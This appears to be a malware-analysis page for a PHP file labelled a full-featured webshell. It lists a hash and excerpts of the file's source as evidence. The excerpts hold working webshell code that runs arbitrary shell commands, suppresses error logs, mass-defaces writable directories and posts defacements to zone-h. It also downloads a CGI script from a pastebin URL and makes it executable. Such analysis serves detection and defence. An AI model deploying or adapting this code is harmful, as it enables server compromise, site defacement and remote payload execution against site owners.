f1.php
Full-featured PHP webshell
PHP relays an uploaded file to remote shellsPHP uploads a file and records remote shell results
SHA-256f02ac702d8a59e3c8a4bde4c41c05b474d15863b555cdb09f1e1148c659377c4
Evidence
74:52… ############################
75function w($dir, $perm)
76{
77 if (!is_writable($dir)) {
78 return "<font color=red>" . $perm . "</font>";
79 } else {
80 return "<font color=lime>" . $perm . "</font>";
81 }
82}
83function exe($cmd)
84{
85 if (function_exists('system')) {
86 @ob_start();
87 @system($cmd);
88 $buff = @ob_get_contents();
89 @ob_end_clean();
90 return $buff;
91 } elseif (function_exists('exec')) {
92 @exec($cmd, $results);
93 $buff = "";
94 foreach ($results as $result) {
95 $buff .= $result;
96 }
97 return $buff;
98 } elseif (function_exists('passthru')) {
99 @ob_start();
100 @passthru($cmd);
101 $buff = @ob_get_contents();
102 @ob_end_clean();
103 return $buff;
104 } elseif (function_exists('shell_exec')) {
105 $buff = @shell_exec($cmd);
106 return $buff;
107 }
108}
109function perms($file)
110{
111 $perms = fileperms($file);
112 if (($perms & 0xc000) == 0xc000) {
113 // Socket
⋯4 lines
177:18… ss($array)
178 {
179 return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
180 }
181 $_POST = idx_ss($_POST);
182}
183error_reporting(0);
184error_log(0);
185@ini_set('error_log', NULL);
186@ini_set('log_errors', 0);
187@ini_set('max_execution_time', 0);
188@set_time_limit(0);
189@set_magic_quotes_runtime(0);
190if (isset($_GET['dir'])) {
191 $dir = $_GET['dir'];
192 chdir($_GET['dir']);
193} else {
194 $dir = getcwd();
195}
196$dir = str_replace("\\", "/", $dir);
197$scdir = explode("/", $dir);
198$sm = @ini_get(strtolower("safe_mode")) == 'on' ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
199$ds = @ini_get("disable_functions");
200$mysql = function_exists('mysql_connect') ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
279:30… s_deface') {
280 function sabun_massal($dir, $namafile, $isi_script)
281 {
282 if (is_writable($dir)) {
283 $dira = scandir($dir);
284 foreach ($dira as $dirb) {
285 $dirc = "{$dir}/{$dirb}";
286 $lokasi = $dirc . '/' . $namafile;
287 if ($dirb === '.') {
288 file_put_contents($lokasi, $isi_script);
289 } elseif ($dirb === '..') {
290 file_put_contents($lokasi, $isi_script);
⋯4 lines
930:134… /notifier={$nick}</a><br><br>";
931 function zoneh($url, $nick)
932 {
933 $ch = curl_init("http://www.zone-h.com/notify/single");
934 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
935 curl_setopt($ch, CURLOPT_POST, true);
936 curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer={$nick}&domain1={$url}&hackmode=1&reason=1&submit=Send");
937 return curl_exec($ch);
938 curl_close($ch);
939 }
940 foreach ($domain as $url) {
941 $zoneh = zoneh($url, $nick);
942 …
954:11… cgi = "idx_cgi/cgi.izo";
955 $isi_htcgi = "AddHandler cgi-script .izo";
956 $htcgi = fopen(".htaccess", "w");
957 $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
958 $cgi = fopen($file_cgi, "w");
959 fwrite($cgi, $cgi_script);
960 fwrite($htcgi, $isi_htcgi);
961 chmod($file_cgi, 0755);
962 echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
963} elseif ($_GET[ …